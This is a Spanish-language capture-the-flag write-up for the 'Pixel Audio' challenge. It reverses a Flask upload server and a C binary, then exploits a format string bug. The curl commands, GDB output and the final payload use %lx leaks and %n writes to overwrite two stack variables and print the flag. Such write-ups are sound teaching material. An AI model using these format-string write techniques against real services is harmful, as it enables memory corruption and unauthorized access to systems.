Pixel Audio
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Además, tenemos el código fuente en Python de un servidor web en Flask:
#!/usr/bin/python3
import os
import subprocess
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
CMD_PATH = os.getenv("CMD_PATH", "./main")
@app.route('/')
def index():
return render_template('index.html')
@app.route("/upload", methods=["POST"])
def upload():
if "file" not in request.files:
return "File not in request", 400
file = request.files["file"]
is_mp3 = file.filename.endswith(".mp3")
if not is_mp3:
return "File is not mp3", 400
filepath = os.path.join("/tmp", "test.mp3")
file.save(filepath)
return redirect("/")
@app.route("/play", methods=["GET"])
def play():
sp = subprocess.run([CMD_PATH], capture_output=True, text=True)
return sp.stdout, 200
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, debug=True)
El servidor web nos permite cargar un archivo con extensión .mp3
y se guardará como /tmp/test.mp3
. Además, podemos usar /play
para ejecutar el binario main
y ver la salida del programa.
Ingeniería inversa
Si abrimos el binario main
en Ghidra, veremos esta función main
en el código en C descompilado:
undefined8 main() {
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
is_mp3("/tmp/test.mp3");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
Esta función solo llama a is_mp3
con /tmp/test.mp3
como argumento:
void is_mp3(char *filename) {
int ret;
long in_FS_OFFSET;
unsigned long local_60;
unsigned long local_58;
FILE *fp;
unsigned long *local_48;
unsigned long *local_40;
size_t size;
char _magic_bytes[3];
char data[24];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fp = fopen(filename, "rb");
local_60 = 0xdead1337;
local_48 = &local_60;
local_58 = 0x1337beef;
local_40 = &local_58;
if (fp == NULL) {
perror("[-] Error opening the mp3 file, please contact an Administrator");
putchar(10);
// WARNING: Subroutine does not return
exit(1);
}
size = fread(_magic_bytes, 1, 3, fp);
fread(data, 1, 0x16, fp);
fclose(fp);
if (size < 3) {
error("File is too short to contain magic bytes!\n");
// WARNING: Subroutine does not return
exit(0x520);
}
ret = memcmp(_magic_bytes, magic_bytes, 3);
if (ret != 0) {
puts("[-] File has corrupted magic bytes!");
// WARNING: Subroutine does not return
exit(0x520);
}
printf("[*] Analyzing mp3 data: ");
printf(data);
if (((local_60 & 0xffff) == 0xbeef) && ((local_58 & 0xffff) == 0xc0de)) {
beta_test();
} else {
puts(&DAT_00102140);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Esta función abre /tmp/test.mp3
y primero verifica que los magic bytes sean ID3
(primeros tres bytes del archivo). Luego lee el resto del archivo y llama a printf
usando el contenido del archivo como primer argumento.
Después de eso, la función verifica si las variables local_60
y local_58
terminan en 0xbeef
y 0xc0de
, respectivamente. Si esto sucede, el programa llama a beta_test
, que simplemente abre el archivo con la flag y la imprime:
void beta_test() {
ssize_t size;
long in_FS_OFFSET;
char c;
int fd;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
system("clear");
fflush(stdout);
fflush(stdin);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator");
// WARNING: Subroutine does not return
exit(1);
}
puts("\n\n[>] Now playing: Darude Sandstorm!\n");
while (true) {
size = read(fd, &c, 1);
if (size < 1) break;
fputc((int)c, stdout);
}
close(fd);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Pero los valores de local_60
y local_58
son 0xdead1337
y 0x13337beef
, por lo que no podremos nunca alcanzar la función beta_test
, ¿verdad?
Vulnerabilidad de Format String
Como podemos controlar el primer argumento a printf
, tenemos una vulnerabilidad de Format String. Por ejemplo, podemos comenzar a ver los valores de la pila (stack) con %lx
:
$ curl 83.136.254.199:43645/upload -sF 'file=ID3%lx; filename=test.mp3' > /dev/null
$ curl 83.136.254.199:43645/play
[*] Analyzing mp3 data: 7ffd6ac496f0
~~ The audio player is in beta-testing mode and will be available soon! ~~
🎵 Stay tuned! 🎵
$ curl -s 83.136.254.199:43645/play | head -1
[*] Analyzing mp3 data: 7ffc301a3790
$ curl -s 83.136.254.199:43645/play | head -1 | cut -c 25-
7ffe643df100
Explotación de Format String
Vamos a agrupar estos comandos en una función de shell:
$ function format_string() { curl 83.136.254.199:43645/upload -sF "file=ID3$1; filename=test.mp3" > /dev/null; curl -s 83.136.254.199:43645/play | head -1 | cut -c 25- }
$ format_string %lx
7ffdc74eb0b0
Si usamos más especificadores de formato, obtendremos más valores:
$ format_string %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffe0821ddb0.0.7f8ecb220887.18.5607e6f21480.
Obsérvese que el programa solo toma 0x16
bytes de datos, por lo que tenemos una format string limitada. Pero podemos superar esto especificando el índice exacto que queremos:
$ format_string '%1$lx'
7ffe335f6d20
$ format_string '%2$lx'
0
$ format_string '%3$lx'
7f988ac36887
$ format_string '%4$lx'
18
Podemos usar un bucle para obtener varios valores:
$ for i in {1..30}; do echo -n "$i: "; format_string "%$i\$lx"; done
1: 7fff5c9381f0
2: 0
3: 7fb0de68e887
4: 18
5: 55e4abfae480
6: 0
7: 556f371ef1a5
8: 0
9: dead1337
10: 1337beef
11: 55d9e081e2a0
12: 7ffd9d0d11c8
13: 7ffdb2ad42f0
14: 3
15: 3344490000000000
16: 786c24363125
17: 0
18: 0
19: fe98e101a9357800
20: 7ffcbae7aec0
21: 56412abd663b
22: 0
23: 3f9cbc82844f4c00
24: 1
25: 7f0d3dc34d90
26: 0
27: 55c4797a5611
28: 100000000
29: 7ffc785981e8
30: 0
Muy bien, vemos los valores 0xdead1337
y 0x1337beef
. Ahora necesitamos modificar los dos últimos bytes para pasar la verificación del if
. Para esto, necesitamos usar %n
, que es un especificador de formato que copia la cantidad de bytes impresos en la dirección indicada. Por ejemplo, AAAA%7$n
copiará el valor 4
en la dirección que está en el offset 7
en la pila.
Si entendemos cómo funciona %n
, sabemos que no podemos simplemente escribir usando %9$n
y %10$n
porque en los offsets 9
y 10
no tenemos direcciones sino valores. Por lo tanto, necesitamos encontrar punteros a esos valores. Podemos hacer esto con GDB:
$ echo 'ID3%lx' > /tmp/test.mp3
$ gdb -q main
Reading symbols from main...
(No debugging symbols found in main)
gef> break printf
Breakpoint 1 at 0x11d0
gef> run
Starting program: ./main
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, __printf (format=0x555555556124 "[*] Analyzing mp3 data: ") at ./stdio-common/printf.c:28
28 ./stdio-common/printf.c: No such file or directory.
gef> x/10gx $rsp
0x7fffffffe758: 0x00005555555555b0 0x0000000000000000
0x7fffffffe768: 0x00005555555561a5 0x0000000000000000
0x7fffffffe778: 0x00000000dead1337 0x000000001337beef
0x7fffffffe788: 0x00005555555592a0 0x00007fffffffe778
0x7fffffffe798: 0x00007fffffffe780 0x0000000000000003
gef> telescope $rsp 10 -n
0x7fffffffe758|+0x0000|+000: 0x00005555555555b0 <is_mp3+0x13f> -> 0xb8c78948e0458d48 <- retaddr[1], $rsp
0x7fffffffe760|+0x0008|+001: 0x0000000000000000
0x7fffffffe768|+0x0010|+002: 0x00005555555561a5 -> 0x7365742f706d742f '/tmp/test.mp3'
0x7fffffffe770|+0x0018|+003: 0x0000000000000000
0x7fffffffe778|+0x0020|+004: 0x00000000dead1337
0x7fffffffe780|+0x0028|+005: 0x000000001337beef
0x7fffffffe788|+0x0030|+006: 0x00005555555592a0 -> 0x0000000555555559
0x7fffffffe790|+0x0038|+007: 0x00007fffffffe778 -> 0x00000000dead1337
0x7fffffffe798|+0x0040|+008: 0x00007fffffffe780 -> 0x000000001337beef
0x7fffffffe7a0|+0x0048|+009: 0x0000000000000003
Como se puede ver, tenemos dos punteros que apuntan a ambos 0xdead1337
y 0x1337beef
. Esos están en los offsets 12
y 13
. Por lo tanto, usaremos %12$n
y %13$n
para escribir en esas direcciones.
Para escribir una gran cantidad de datos (por ejemplo, 0xbeef
y 0xc0de
), podemos usar un especificador de formato %c
. Por ejemplo, si usamos %15c
, printf
imprimirá exactamente 15
espacios en blanco. Como resultado, si usamos %48879c
imprimiremos un total de 0xbeef
espacios en blanco. Entonces, usaremos %48879c%12$n
para escribir en la primera variable.
Después de eso, queremos escribir 0xc0de
en la segunda variable. Como ya hemos escrito 48879 bytes (0xbeef
), solamente escribiremos 0xc0de - 0xbeef = 495
bytes más. Entonces, podemos usar %495c%13$n
.
Flag
Para resumir, con el siguiente payload de Format String, obtendremos la flag:
$ curl 83.136.254.199:43645/upload -sF 'file=ID3%48879c%12$n%495c%13$n; filename=test.mp3' > /dev/null
$ while true; do curl -s 83.136.254.199:43645/play | grep HTB && break; done
HTB{mp3_f1l35_fr0m_l1m3_w1r3_xD}